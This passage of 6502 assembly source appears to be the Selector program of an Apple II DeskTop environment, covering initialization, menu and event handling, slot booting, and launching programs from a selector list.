DEFINE_READWRITE_PARAMS read_overlay2_params, OVERLAY_ADDR, kOverlayCopyDialogLength
DEFINE_CLOSE_PARAMS close_overlay_params
str_desktop_2:
PASCAL_STRING kPathnameDeskTop
desktop_available_flag:
.byte 0
DEFINE_GET_FILE_INFO_PARAMS file_info_params, SELF_MODIFIED
entry_string_buf:
.res 20
num_primary_run_list_entries:
.byte 0
num_secondary_run_list_entries:
.byte 0
invoked_during_boot_flag: ; bit7 set during keyboard checks during boot
.byte 0
;;; ============================================================
;;; Clock Resources
DEFINE_POINT pos_clock, kScreenWidth - 11, 10
str_time:
PASCAL_STRING "00:00 XM"
str_4_spaces:
PASCAL_STRING " "
str_space:
PASCAL_STRING " "
dow_strings:
PASCAL_STRING res_string_weekday_abbrev_1, 3
PASCAL_STRING res_string_weekday_abbrev_2, 3
PASCAL_STRING res_string_weekday_abbrev_3, 3
PASCAL_STRING res_string_weekday_abbrev_4, 3
PASCAL_STRING res_string_weekday_abbrev_5, 3
PASCAL_STRING res_string_weekday_abbrev_6, 3
PASCAL_STRING res_string_weekday_abbrev_7, 3
ASSERT_RECORD_TABLE_SIZE dow_strings, 7, 4
parsed_date:
.tag ParsedDateTime
;;; GrafPort used when drawing the clock
clock_grafport:
.tag MGTK::GrafPort
;;; Used to save the current GrafPort while drawing the clock.
.params getport_params
portptr: .addr 0
.endparams
;;; ============================================================
;;; App Initialization
entry:
.scope AppInit
copy8 #BTK::kButtonStateDisabled, ok_button::state
jsr LoadSelectorList
SET_BIT7_FLAG invoked_during_boot_flag
lda num_secondary_run_list_entries
ora num_primary_run_list_entries
bne check_key_down
quick_run_desktop:
param_call GetFileInfo, str_desktop_2
jcs done_keys
jmp RunDesktop
;; --------------------------------------------------
;; Check for key down
check_key_down:
copy8 #0, quick_boot_slot
lda KBD
bpl done_keys
sta KBDSTRB
and #CHAR_MASK
jsr ToUpperCase
bit BUTN0 ; Open Apple?
bmi :+
bit BUTN1 ; Solid Apple?
bpl check_key
: cmp #'1' ; Apple + 1...7 = boot slot
bcc check_key
cmp #'7'+1
bcs check_key
and #%00001111 ; ASCII to number
sta quick_boot_slot
jmp done_keys
check_key:
cmp #kShortcutRunDeskTop ; If key is down, try launching DeskTop
beq quick_run_desktop
sec
sbc #'1' ; 1-8 run that selector entry
bmi done_keys
cmp num_primary_run_list_entries
bcs done_keys
sta invoke_index
jsr GetSelectorListEntryAddr
entry_ptr := $06
;; TODO: See if we can skip this and just `InvokeEntry`
stax entry_ptr
ldy #kSelectorEntryFlagsOffset
lda (entry_ptr),y
IF_A_NE #kSelectorEntryCopyNever
jsr GetCopiedToRAMCardFlag
beq done_keys ; no RAMCard, skip
ldx invoke_index
jsr GetEntryCopiedToRAMCardFlag
bpl done_keys ; wasn't copied!
END_IF
invoke_index := *+1
lda #SELF_MODIFIED_BYTE
jsr InvokeEntry
;; --------------------------------------------------
done_keys:
sta KBDSTRB
CLEAR_BIT7_FLAG invoked_during_boot_flag
;; --------------------------------------------------
jsr SaveAndAdjustDeviceList
jsr DisconnectRAM
;; --------------------------------------------------
;; Find slots with devices using ProDOS Device ID Bytes
.scope
slot_ptr := $06 ; pointed at $Cn00
copy8 #0, slot_ptr
ldx #7 ; slot
DO
txa
ora #$C0 ; hi byte of $Cn00
sta slot_ptr+1
ldy #$01 ; $Cn01 == $20 ?
lda (slot_ptr),y
cmp #$20
bne next
ldy #$03 ; $Cn03 == $00 ?
lda (slot_ptr),y
cmp #$00
bne next
ldy #$05 ; $Cn05 == $03 ?
lda (slot_ptr),y
cmp #$03
bne next
;; Match! Add to slot_table
inc slot_table
ldy slot_table
txa
sta slot_table,y
next: dex
WHILE_NOT_ZERO
.endscope
;; --------------------------------------------------
;; Set up Startup menu
lda quick_boot_slot
beq set_startup_menu_items
ldy slot_table
DO
cmp slot_table,y
jeq StartupSlot
dey
WHILE_NOT_ZERO
FALL_THROUGH_TO set_startup_menu_items
set_startup_menu_items:
copy8 slot_table, startup_menu
lda slot_x1
ora #$30 ; number to ASCII digit
sta str_slot_x1 + kStrSlotXOffset
sta mi_x1 + kMenuItemShortcutOffset
sta mi_x1 + kMenuItemShortcutOffset + 1
lda slot_x2
ora #$30 ; number to ASCII digit
sta str_slot_x2 + kStrSlotXOffset
sta mi_x2 + kMenuItemShortcutOffset
sta mi_x2 + kMenuItemShortcutOffset + 1
lda slot_x3
ora #$30 ; number to ASCII digit
sta str_slot_x3 + kStrSlotXOffset
sta mi_x3 + kMenuItemShortcutOffset
sta mi_x3 + kMenuItemShortcutOffset + 1
lda slot_x4
ora #$30 ; number to ASCII digit
sta str_slot_x4 + kStrSlotXOffset
sta mi_x4 + kMenuItemShortcutOffset
sta mi_x4 + kMenuItemShortcutOffset + 1
lda slot_x5
ora #$30 ; number to ASCII digit
sta str_slot_x5 + kStrSlotXOffset
sta mi_x5 + kMenuItemShortcutOffset
sta mi_x5 + kMenuItemShortcutOffset + 1
lda slot_x6
ora #$30 ; number to ASCII digit
sta str_slot_x6 + kStrSlotXOffset
sta mi_x6 + kMenuItemShortcutOffset
sta mi_x6 + kMenuItemShortcutOffset + 1
lda slot_x7
ora #$30 ; number to ASCII digit
sta mi_x7 + kMenuItemShortcutOffset
sta mi_x7 + kMenuItemShortcutOffset + 1
sta str_slot_x7 + kStrSlotXOffset
;; Copy pattern from settings
tmp_pattern := $00
ldx #DeskTopSettings::pattern + .sizeof(MGTK::Pattern)-1
DO
jsr ReadSetting
sta tmp_pattern - DeskTopSettings::pattern,x
dex
WHILE_X_NE #AS_BYTE(DeskTopSettings::pattern-1)
MGTK_CALL MGTK::SetDeskPat, tmp_pattern
copy8 VERSION, startdesktop_params::machine
copy8 ZIDBYTE, startdesktop_params::subid
jsr ClearDHRToBlack
MGTK_CALL MGTK::SetZP1, setzp_params
MGTK_CALL MGTK::StartDeskTop, startdesktop_params
SET_BIT7_FLAG desktop_started_flag
jsr SetRGBMode
MGTK_CALL MGTK::SetMenu, menu
jsr ShowClock
MGTK_CALL MGTK::ShowCursor
MGTK_CALL MGTK::FlushEvents
lda startdesktop_params::slot_num
IF_ZERO
ldx #DeskTopSettings::options
jsr ReadSetting
ora #DeskTopSettings::kOptionsShowShortcuts
jsr WriteSetting
END_IF
;; --------------------------------------------------
;; Cursor tracking
;; Doubled if option selected
ldx #DeskTopSettings::mouse_tracking
jsr ReadSetting
IF_NOT_ZERO
inc scalemouse_params::x_exponent
inc scalemouse_params::y_exponent
END_IF
;; Also doubled if a IIc
lda ZIDBYTE ; ZIDBYTE=0 for IIc / IIc+
IF_ZERO
inc scalemouse_params::x_exponent
inc scalemouse_params::y_exponent
END_IF
MGTK_CALL MGTK::ScaleMouse, scalemouse_params
;; --------------------------------------------------
;; Is DeskTop available?
param_call GetFileInfo, str_desktop_2
ror desktop_available_flag ; bit7 = C (1=not available)
;; --------------------------------------------------
;; Open the window
MGTK_CALL MGTK::OpenWindow, winfo
jsr GetPortAndDrawWindow
copy8 #BTK::kButtonStateDisabled, ok_button::state
jsr LoadSelectorList
jsr PopulateEntriesFlagTable
OPTK_CALL OPTK::Draw, op_params
jmp EventLoop
quick_boot_slot:
.byte 0
.endscope ; AppInit
;;; ============================================================
;;; Event Loop
.proc EventLoop
jsr SystemTask
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
IF_A_EQ #MGTK::EventKind::button_down
jsr HandleButtonDown
jmp EventLoop
END_IF
IF_A_EQ #MGTK::EventKind::key_down
;; --------------------------------------------------
;; Key Down
bit desktop_available_flag
IF_NC
lda event_params::key
jsr ToUpperCase
IF_A_EQ #kShortcutRunDeskTop
BTK_CALL BTK::Flash, desktop_button
retry: param_call GetFileInfo, str_desktop_2
IF_CS
lda #AlertID::insert_system_disk
jsr ShowAlert
ASSERT_NOT_EQUALS ::kAlertResultCancel, 0
bne EventLoop ; `kAlertResultCancel` = 1
beq retry ; `kAlertResultTryAgain` = 0
END_IF
jmp RunDesktop
END_IF
END_IF
jsr HandleKey
jmp EventLoop
END_IF
;; --------------------------------------------------
IF_A_EQ #MGTK::EventKind::update
jsr ClearUpdates
END_IF
jmp EventLoop
.endproc ; EventLoop
;;; ============================================================
;;; Handle update events
CheckAndClearUpdates:
DO
MGTK_CALL MGTK::PeekEvent, event_params
lda event_params::kind
BREAK_IF_A_NE #MGTK::EventKind::update
MGTK_CALL MGTK::GetEvent, event_params
FALL_THROUGH_TO ClearUpdates
ClearUpdates:
lda event_params::window_id
CONTINUE_IF_A_NE #winfo::kDialogId
MGTK_CALL MGTK::BeginUpdate, beginupdate_params
CONTINUE_IF_NOT_ZERO ; obscured
sec ; is update
jsr DrawWindow
OPTK_CALL OPTK::Update, op_params
MGTK_CALL MGTK::EndUpdate
WHILE_ZERO ; always
rts
;;; ============================================================
;;; Menu dispatch tables
menu_dispatch_table:
;; Apple menu
menu1: .addr noop
.addr noop
.addr noop
.addr noop
.addr noop
.addr noop
.addr noop
;; File menu
menu2: .addr CmdRunAProgram
;; Startup menu
menu3: .addr CmdStartup
.addr CmdStartup
.addr CmdStartup
.addr CmdStartup
.addr CmdStartup
.addr CmdStartup
.addr CmdStartup
menu_end:
menu_addr_table:
.byte menu1 - menu_dispatch_table
.byte menu2 - menu_dispatch_table
.byte menu3 - menu_dispatch_table
.byte menu_end - menu_dispatch_table
;;; ============================================================
SelChangeCallback := UpdateOKButton
DEFINE_OPTION_PICKER op_record, winfo::kDialogId, kEntryPickerLeft, kEntryPickerTop, kEntryPickerRows, kEntryPickerCols, kEntryPickerItemWidth, kEntryPickerItemHeight, kEntryPickerTextHOffset, kEntryPickerTextVOffset, IsEntryCallback, DrawEntryCallback, SelChangeCallback
DEFINE_OPTION_PICKER_PARAMS op_params, op_record
;;; ============================================================
.proc HandleKey
lda event_params::modifiers
bne has_modifiers
lda event_params::key
cmp #CHAR_ESCAPE
beq menukey
other: jmp HandleNonmenuKey
has_modifiers:
lda event_params::key
jsr ToUpperCase
cmp #CHAR_ESCAPE
beq menukey
cmp #kShortcutRunProgram
beq menukey
cmp #'9'+1
bcs other
cmp #'1'
bcc other
menukey:
sta menu_params::which_key
copy8 event_params::modifiers, menu_params::key_mods
MGTK_CALL MGTK::MenuKey, menu_params::menu_id
FALL_THROUGH_TO HandleMenu
.endproc ; HandleKey
;;; ==================================================
.proc HandleMenu
ldx menu_params::menu_item
beq fail
ldx menu_params::menu_id
bne :+
fail: jmp EventLoop
: dex
lda menu_addr_table,x
tax
ldy menu_params::menu_item
dey
tya
asl a
sta addr
txa
clc
adc addr
tax
copy16 menu_dispatch_table,x, addr
jsr dispatch
MGTK_CALL MGTK::HiliteMenu, menu_params
rts
dispatch:
addr := *+1
jmp SELF_MODIFIED
.endproc ; HandleMenu
;;; ============================================================
.proc CmdRunAProgram
jsr ClearSelectedIndex
retry:
jsr SetCursorWatch
;; Load file dialog overlay
MLI_CALL OPEN, open_selector_params
IF_CC
lda open_selector_params::ref_num
sta set_mark_overlay1_params::ref_num
sta read_overlay1_params::ref_num
MLI_CALL SET_MARK, set_mark_overlay1_params
MLI_CALL READ, read_overlay1_params
MLI_CALL CLOSE, close_overlay_params
;; Invoke file dialog
jsr file_dialog_init
;; Returns Z=1 on success, Y,X = path to launch
bne cancel
ok: tya ; now A,X = path
jsr SaveFileDialogState
jsr LaunchPath
jsr RestoreFileDialogState
jsr file_dialog_loop ; ditto
beq ok
cancel: jmp LoadSelectorList
END_IF
lda #AlertID::insert_system_disk
jsr ShowAlert
ASSERT_EQUALS ::kAlertResultTryAgain, 0
beq retry ; `kAlertResultTryAgain` = 0
rts
.endproc ; CmdRunAProgram
;;; ============================================================
.proc HandleButtonDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::which_area
ASSERT_EQUALS MGTK::Area::desktop, 0
RTS_IF_ZERO
IF_A_EQ #MGTK::Area::menubar
MGTK_CALL MGTK::MenuSelect, menu_params
jmp HandleMenu
END_IF
RTS_IF_A_NE #MGTK::Area::content
lda findwindow_params::window_id
RTS_IF_A_NE #winfo::kDialogId
lda #winfo::kDialogId
jsr GetWindowPort
copy8 #winfo::kDialogId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
MGTK_CALL MGTK::MoveTo, screentowindow_params::window
;; OK button?
MGTK_CALL MGTK::InRect, ok_button::rect
beq check_desktop_btn
BTK_CALL BTK::Track, ok_button
bmi done
jsr TryInvokeSelectedIndex
done: rts
;; DeskTop button?
check_desktop_btn:
bit desktop_available_flag
IF_NC
MGTK_CALL MGTK::InRect, desktop_button::rect
IF_NOT_ZERO
BTK_CALL BTK::Track, desktop_button
bmi done
retry: param_call GetFileInfo, str_desktop_2
IF_CS
lda #AlertID::insert_system_disk
jsr ShowAlert
ASSERT_NOT_EQUALS kAlertResultCancel, 0
bne done ; `kAlertResultCancel` = 1
beq retry ; `kAlertResultTryAgain` = 0
END_IF
jmp RunDesktop
END_IF
END_IF
;; Entry selection?
COPY_STRUCT screentowindow_params::window, op_params::coords
OPTK_CALL OPTK::Click, op_params
bmi ret
jsr DetectDoubleClick
IF_NC
BTK_CALL BTK::Flash, ok_button
jmp TryInvokeSelectedIndex
END_IF
ret: rts
.endproc ; HandleButtonDown
;;; ============================================================
.proc UpdateOKButton
lda #BTK::kButtonStateNormal
bit op_record::selected_index
IF_NS
lda #BTK::kButtonStateDisabled
END_IF
IF_A_NE ok_button::state
sta ok_button::state
BTK_CALL BTK::Hilite, ok_button
END_IF
rts
.endproc ; UpdateOKButton
;;; ============================================================
noop: rts
;;; ============================================================
.proc RunDesktop
jsr RestoreSystem
MLI_CALL OPEN, open_desktop_params
lda open_desktop_params::ref_num
sta read_desktop_params::ref_num
MLI_CALL READ, read_desktop_params
MLI_CALL CLOSE, close_desktop_params
jmp desktop_load_addr
.endproc ; RunDesktop
;;; ============================================================
;;; Assert: ROM banked in, ALTZP/LC is OFF
.proc RestoreSystem
bit desktop_started_flag
IF_NS
MGTK_CALL MGTK::StopDeskTop
END_IF
jsr RestoreTextMode
jsr ReconnectRAM
jmp RestoreDeviceList
.endproc ; RestoreSystem
;;; ============================================================
;;; Disable 80-col firmware, clear and show the text screen.
;;; Assert: ROM is banked in, ALTZP/LC is off
.proc RestoreTextMode
sta SET80STORE ; 80-col firmware expects this
lda #0 ; INIT is not used as that briefly
sta WNDLFT ; displays the dirty text page
sta WNDTOP
copy8 #80, WNDWDTH
copy8 #24, WNDBTM
jsr HOME ; Clear 80-col screen
sta TXTSET ; ... and show it
lda #$95 ; Ctrl-U - disable 80-col firmware
jsr COUT
jsr INIT ; reset text window again
jsr SETVID ; after INIT so WNDTOP is set properly
jsr SETKBD
;; Switch back to color DHR mode
jsr SetColorMode
sta CLR80VID ; back off, after `SetColorMode` call
sta DHIRESOFF
rts
.endproc ; RestoreTextMode
;;; ============================================================
.proc HandleNonmenuKey
lda #winfo::kDialogId
jsr GetWindowPort
lda event_params::key
IF_A_LT #$1C ; Control character?
jmp control_char
END_IF
;; --------------------------------------------------
;; 1-8 to select entry
RTS_IF_A_LT #'1'
RTS_IF_A_GE #'8'+1
sec
sbc #'1'
RTS_IF_A_GE num_primary_run_list_entries
sta op_params::new_selection
OPTK_CALL OPTK::SetSelection, op_params
jmp UpdateOKButton
;; --------------------------------------------------
;; Control characters - return and arrows
;; Return ?
control_char:
IF_A_EQ #CHAR_RETURN
BTK_CALL BTK::Flash, ok_button
jmp TryInvokeSelectedIndex
END_IF
;; --------------------------------------------------
;; Arrow keys?
lda num_primary_run_list_entries
ora num_secondary_run_list_entries
IF_NE
lda event_params::key
IF_A_EQ_ONE_OF #CHAR_UP, #CHAR_DOWN, #CHAR_LEFT, #CHAR_RIGHT
sta op_params::key
OPTK_CALL OPTK::Key, op_params
rts
END_IF
END_IF
rts
.endproc ; HandleNonmenuKey
;;; ============================================================
.proc PopulateEntriesFlagTable
ldx #kSelectorListNumEntries - 1
lda #$FF
DO
sta entries_flag_table,x
dex
WHILE_POS
ldx #0
DO
BREAK_IF_X_EQ num_primary_run_list_entries
txa
sta entries_flag_table,x
inx
WHILE_NOT_ZERO
ldx #0
DO
BREAK_IF_X_EQ num_secondary_run_list_entries
txa
clc
adc #8
sta entries_flag_table+8,x
inx
WHILE_NOT_ZERO
rts
.endproc ; PopulateEntriesFlagTable
;;; Table for 24 entries; index (0...23) if in use, $FF if empty
entries_flag_table:
.res ::kSelectorListNumEntries, 0
;;; ============================================================
.proc TryInvokeSelectedIndex
lda op_record::selected_index
RTS_IF_NS
jmp InvokeEntry
.endproc ; TryInvokeSelectedIndex
;;; ============================================================
.proc LoadSelectorList
;; Initialize the counts, in case load fails.
lda #0
sta selector_list + kSelectorListNumPrimaryRunListOffset
sta selector_list + kSelectorListNumSecondaryRunListOffset
MLI_CALL OPEN, open_selector_list_params
bcs cache
lda open_selector_list_params::ref_num
sta read_selector_list_params::ref_num
MLI_CALL READ, read_selector_list_params
MLI_CALL CLOSE, close_desktop_params
cache: copy8 selector_list + kSelectorListNumPrimaryRunListOffset, num_primary_run_list_entries
copy8 selector_list + kSelectorListNumSecondaryRunListOffset, num_secondary_run_list_entries
rts
.endproc ; LoadSelectorList
;;; ============================================================
.proc LoadOverlayCopyDialog
start: MLI_CALL OPEN, open_selector_params
bcs error
lda open_selector_params::ref_num
sta set_mark_overlay2_params::ref_num
sta read_overlay2_params::ref_num
MLI_CALL SET_MARK, set_mark_overlay2_params
MLI_CALL READ, read_overlay2_params
MLI_CALL CLOSE, close_overlay_params
rts
error: lda #AlertID::insert_system_disk
jsr ShowAlert ; `kAlertResultCancel` = 1
ASSERT_EQUALS ::kAlertResultTryAgain, 0
beq start ; `kAlertResultTryAgain` = 0
rts
.endproc ; LoadOverlayCopyDialog
;;; ============================================================
.proc SetCursorWatch
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::watch
rts
.endproc ; SetCursorWatch
.proc SetCursorPointer
MGTK_CALL MGTK::SetCursor, MGTK::SystemCursor::pointer
rts
.endproc ; SetCursorPointer
;;; ============================================================
.proc SaveAndAdjustDeviceList
;; Save original DEVCNT+DEVLST
.assert DEVLST = DEVCNT+1, error, "DEVCNT must precede DEVLST"
ldx DEVCNT
inx ; include DEVCNT itself
DO
copy8 DEVCNT,x, backup_devlst,x
dex
WHILE_POS
;; Find the startup volume's unit number
copy8 DEVNUM, target
jsr GetCopiedToRAMCardFlag
IF_MINUS
param_call CopyDeskTopOriginalPrefix, INVOKER_PREFIX
param_call GetFileInfo, INVOKER_PREFIX
IF_CC
copy8 DEVNUM, target
END_IF
END_IF
;; Find the device's index in the list
ldx #0
DO
lda DEVLST,x
and #UNIT_NUM_MASK ; to compare against DEVNUM
target := *+1
cmp #SELF_MODIFIED_BYTE
beq found
inx
WHILE_X_LT DEVCNT
bcs done ; last one or not found
;; Save it
found: ldy DEVLST,x
;; Move everything up
DO
copy8 DEVLST+1,x, DEVLST,x
inx
WHILE_X_NE DEVCNT
;; Place it at the end
tya
sta DEVLST,x
done: rts
.endproc ; SaveAndAdjustDeviceList
.proc RestoreDeviceList
;; Verify that a backup was done. Note that DEVCNT can be
;; zero (since it is num devices - 1) so the high bit is used.
ldx backup_devlst ; the original DEVCNT
bmi ret ; backup was never done
inx ; include DEVCNT itself
DO
copy8 backup_devlst,x, DEVCNT,x
dex
WHILE_POS
ret: rts
.endproc ; RestoreDeviceList
backup_devlst:
.byte $FF ; backup for DEVCNT (w/ high bit set)
.res 14, 0 ; backup for DEVLST (7 slots * 2 drives)
;;; ============================================================
.proc GetPortAndDrawWindow
lda #winfo::kDialogId
jsr GetWindowPort
clc ; not an update
FALL_THROUGH_TO DrawWindow
.endproc ; GetPortAndDrawWindow
;;; Inputs: C set if processing update event, clear otherwise
.proc DrawWindow
;; C = is update
php
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::SetPenSize, pensize_frame
MGTK_CALL MGTK::FrameRect, rect_frame
MGTK_CALL MGTK::SetPenSize, pensize_normal
param_call DrawTitleString, str_selector_title
plp
IF_CS
;; Processing update event
BTK_CALL BTK::Update, ok_button
bit desktop_available_flag
IF_NC
BTK_CALL BTK::Update, desktop_button
END_IF
ELSE
;; Non-update
BTK_CALL BTK::Draw, ok_button
bit desktop_available_flag
IF_NC
BTK_CALL BTK::Draw, desktop_button
END_IF
END_IF
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::MoveTo, line1_pt1
MGTK_CALL MGTK::LineTo, line1_pt2
MGTK_CALL MGTK::MoveTo, line2_pt1
MGTK_CALL MGTK::LineTo, line2_pt2
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Draw Title String (centered at top of port)
;;; Input: A,X = string address
.proc DrawTitleString
text_params := $6
text_addr := text_params + 0
text_length := text_params + 2
text_width := text_params + 3
stax text_addr ; input is length-prefixed string
ldy #0
copy8 (text_addr),y, text_length
inc16 text_addr ; point past length
MGTK_CALL MGTK::TextWidth, text_params
sub16 #winfo::kWidth, text_width, pos_title_string::xcoord
lsr16 pos_title_string::xcoord ; /= 2
MGTK_CALL MGTK::MoveTo, pos_title_string
MGTK_CALL MGTK::DrawText, text_params
rts
.endproc ; DrawTitleString
;;; ============================================================
;;; Set the active GrafPort to the selected window's port
;;; Input: A = window id
.proc GetWindowPort
sta getwinport_params::window_id
MGTK_CALL MGTK::GetWinPort, getwinport_params
MGTK_CALL MGTK::SetPort, grafport_win
rts
.endproc ; GetWindowPort
;;; ============================================================
;;; Input: A = Entry number
;;; Output: A,X = Entry address
.proc GetSelectorListEntryAddr
addr := selector_list + kSelectorListEntriesOffset
ldx #0
stx hi
asl a
rol hi
asl a
rol hi
asl a
rol hi
asl a
rol hi
clc
adc #<addr
tay
lda hi
adc #>addr
tax
tya
rts
hi: .byte 0
.endproc ; GetSelectorListEntryAddr
;;; ============================================================
.proc GetSelectorListPathAddr
addr := selector_list + kSelectorListPathsOffset
ldx #0
stx hi
lsr a
ror hi
lsr a
ror hi
pha
lda hi
adc #<addr
tay
pla
adc #>addr
tax
tya
rts
hi: .byte 0
.endproc ; GetSelectorListPathAddr
;;; ============================================================
;;; Input: A = entry number
;;; Output: N=0 if valid entry
.proc IsEntryCallback
tay
ldx entries_flag_table,y
rts
.endproc ; IsEntryCallback
;;; ============================================================
;;; Input: A = entry number
.proc DrawEntryCallback
ptr := $06
pha
jsr GetSelectorListEntryAddr
stax ptr
ldy #0
lda (ptr),y ; length
;; Copy string into buffer
tay
DO
copy8 (ptr),y, entry_string_buf+3,y
dey
WHILE_NOT_ZERO
;; Increase length by 3
ldy #0
lda (ptr),y
clc
adc #3
sta text_params::length
pla
IF_A_GE #8 ; first 8?
;; Prefix with spaces
lda #' '
sta entry_string_buf+1
sta entry_string_buf+2
sta entry_string_buf+3
ELSE
;; Prefix with number
adc #'1'
sta entry_string_buf+1
lda #' '
sta entry_string_buf+2
sta entry_string_buf+3
END_IF
;; Draw the string
common: MGTK_CALL MGTK::DrawText, text_params
rts
.params text_params
data: .addr entry_string_buf+1
length: .byte SELF_MODIFIED_BYTE
.endparams
.endproc ; DrawEntryCallback
;;; ============================================================
.proc CmdStartup
ldy menu_params::menu_item
lda slot_table,y
set: ora #>$C000 ; compute $Cn00
sta @addr+1
lda #<$C000
sta @addr
jsr RestoreSystem
@addr := * + 1
jmp SELF_MODIFIED
.endproc ; CmdStartup
StartupSlot := CmdStartup::set
;;; ============================================================
;;; Input: A = index
;;; Does not rely on the UI's selected index as this may predate
;;; the UI display.
.proc InvokeEntryImpl
ptr := $06
invoke_index:
.byte SELF_MODIFIED_BYTE
start:
sta invoke_index
;; --------------------------------------------------
;; Highlight entry in UI, if needed
bit invoked_during_boot_flag
IF_NC ; skip if there's no UI yet
jsr SetCursorWatch
jsr ClearSelectedIndex
END_IF
;; --------------------------------------------------
;; Figure out entry path, given entry options and overrides
bit invoked_during_boot_flag
IF_NC
bit BUTN0 ; if Open-Apple is down, skip RAMCard copy
jmi use_entry_path
;; Is there a RAMCard at all?
jsr GetCopiedToRAMCardFlag
beq use_entry_path ; no RAMCard, skip
END_IF
;; Look at the entry's flags
lda invoke_index
jsr GetSelectorListEntryAddr
stax ptr
ldy #kSelectorEntryFlagsOffset
lda (ptr),y
ASSERT_EQUALS ::kSelectorEntryCopyOnBoot, 0
beq on_boot
cmp #kSelectorEntryCopyNever
beq use_entry_path ; not copied
;; --------------------------------------------------
;; `kSelectorEntryCopyOnUse`
bit invoked_during_boot_flag
bmi use_ramcard_path ; skip if no UI
ldx invoke_index
jsr GetEntryCopiedToRAMCardFlag
bmi use_ramcard_path ; already copied
;; Need to copy to RAMCard
path_addr := $06
lda invoke_index
jsr GetSelectorListPathAddr
jsr CopyPathToInvokerPrefix
jsr LoadOverlayCopyDialog ; Trashes in-memory selector list
jsr ::file_copier::Exec
pha
jsr LoadSelectorList
jsr CheckAndClearUpdates
pla
IF_NOT_ZERO
jsr SetCursorPointer
jmp ClearSelectedIndex ; canceled!
END_IF
ldx invoke_index
lda #$FF
jsr SetEntryCopiedToRAMCardFlag
jmp use_ramcard_path
;; --------------------------------------------------
;; `kSelectorEntryCopyOnBoot`
on_boot:
bit invoked_during_boot_flag
IF_NC ; skip if no UI
ldx invoke_index
jsr GetEntryCopiedToRAMCardFlag
bpl use_entry_path ; wasn't copied!
FALL_THROUGH_TO use_ramcard_path
END_IF
;; --------------------------------------------------
;; Copied to RAMCard - use copied path
use_ramcard_path:
lda invoke_index
jsr ComposeRAMCardEntryPath
jmp LaunchPath
;; --------------------------------------------------
;; Not copied to RAMCard - just use entry's path
use_entry_path:
lda invoke_index
jsr GetSelectorListPathAddr
FALL_THROUGH_TO LaunchPath
.endproc ; InvokeEntryImpl
InvokeEntry := InvokeEntryImpl::start
;;; ============================================================
;;; Launch specified path (A,X = path)
.proc LaunchPath
jsr CopyPathToInvokerPrefix
retry:
param_call GetFileInfo, INVOKER_PREFIX
bcc check_type
;; Not present; maybe show a retry prompt
tax
bit invoked_during_boot_flag
IF_NC
txa
pha
jsr ShowAlert
tax
pla
cmp #ERR_VOL_NOT_FOUND
bne fail
txa
ASSERT_NOT_EQUALS ::kAlertResultCancel, 0
bne fail ; `kAlertResultCancel` = 1
jsr SetCursorWatch
jmp retry
END_IF
fail: jmp ClearSelectedIndex
;; --------------------------------------------------
;; Check file type
;; Ensure it's BIN, SYS, S16 or BAS (if BS is present)
check_type:
lda #0
sta INVOKER_INTERPRETER
sta INVOKER_BITSY_COMPAT
lda file_info_params::file_type
IF_A_EQ #FT_LINK
jsr ReadLinkFile
bcs err
bcc retry
END_IF
IF_A_EQ #FT_BASIC
param_call CheckInterpreter, str_extras_basic
bcc check_path
jsr CheckBasicSystem ; try relative to launch path
beq check_path
lda #AlertID::basic_system_not_found
jsr ShowAlert
jmp ClearSelectedIndex
END_IF
IF_A_EQ #FT_INT
param_call CheckInterpreter, str_extras_intbasic
bcc check_path
jsr ShowAlert
jmp ClearSelectedIndex
END_IF
IF_A_EQ_ONE_OF #FT_AWP, #FT_ASP, #FT_ADB
param_call CheckInterpreter, str_extras_awlaunch
bcc check_path
jsr ShowAlert
jmp ClearSelectedIndex
END_IF
cmp #FT_BINARY
beq check_path
cmp #FT_SYSTEM
beq check_path
cmp #FT_S16
beq check_path
jsr CheckBasisSystem ; Is fallback BASIS.SYSTEM present?
IF_EQ
SET_BIT7_FLAG INVOKER_BITSY_COMPAT
bmi check_path ; always
END_IF
;; Don't know how to invoke
err: lda #AlertID::selector_unable_to_run
jsr ShowAlert
jmp ClearSelectedIndex
;; --------------------------------------------------
;; Check Path
check_path:
ldy INVOKER_PREFIX
DO
lda INVOKER_PREFIX,y
cmp #'/'
beq :+
dey
WHILE_NOT_ZERO
lda #AlertID::insert_source_disk
jsr ShowAlert
ASSERT_NOT_EQUALS ::kAlertResultCancel, 0
bne ClearSelectedIndex ; `kAlertResultCancel` = 1
jmp retry
: dey
tya
pha
iny
ldx #0
DO
iny
inx
copy8 INVOKER_PREFIX,y, INVOKER_FILENAME,x
WHILE_Y_NE INVOKER_PREFIX
stx INVOKER_FILENAME
pla
sta INVOKER_PREFIX
param_call UpcaseString, INVOKER_PREFIX
param_call UpcaseString, INVOKER_FILENAME
param_call UpcaseString, INVOKER_INTERPRETER
;; --------------------------------------------------
;; Invoke
jsr RestoreSystem
jsr INVOKER
;; If we got here, invoker failed somehow. Relaunch.
jsr Bell
jsr Bell
jsr Bell
MLI_CALL QUIT, quit_params
brk
.endproc ; LaunchPath
DEFINE_QUIT_PARAMS quit_params
.proc ClearSelectedIndex
bit invoked_during_boot_flag
IF_NC
copy8 #$FF, op_params::new_selection
OPTK_CALL OPTK::SetSelection, op_params
jsr UpdateOKButton
END_IF
rts
.endproc ; ClearSelectedIndex
;;; ============================================================
;;; Copy path to INVOKER_PREFIX
;;; Input: A,X = path
;;; Trashes $06
.proc CopyPathToInvokerPrefix
ptr := $06
stax ptr
ldy #$00
lda (ptr),y
tay
DO
copy8 (ptr),y, INVOKER_PREFIX,y
dey
WHILE_POS
rts
.endproc ; CopyPathToInvokerPrefix
;;; ============================================================
;;; Inputs: `INVOKER_PREFIX` has path to LNK file
;;; Output: C=0, `INVOKER_PREFIX` has target on success
;;; C=1 on error
.proc ReadLinkFile
read_buf := $800
io_buf := $1C00
MLI_CALL OPEN, open_params
bcs err
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
MLI_CALL READ, read_params
php
MLI_CALL CLOSE, close_params
plp
bcs err
lda read_params::trans_count
cmp #kLinkFilePathLengthOffset
bcc err
ldx #kCheckHeaderLength-1
DO
lda read_buf,x
cmp check_header,x
bne err
dex
WHILE_POS
COPY_STRING read_buf + kLinkFilePathLengthOffset, INVOKER_PREFIX
clc
rts
err: sec
rts
check_header:
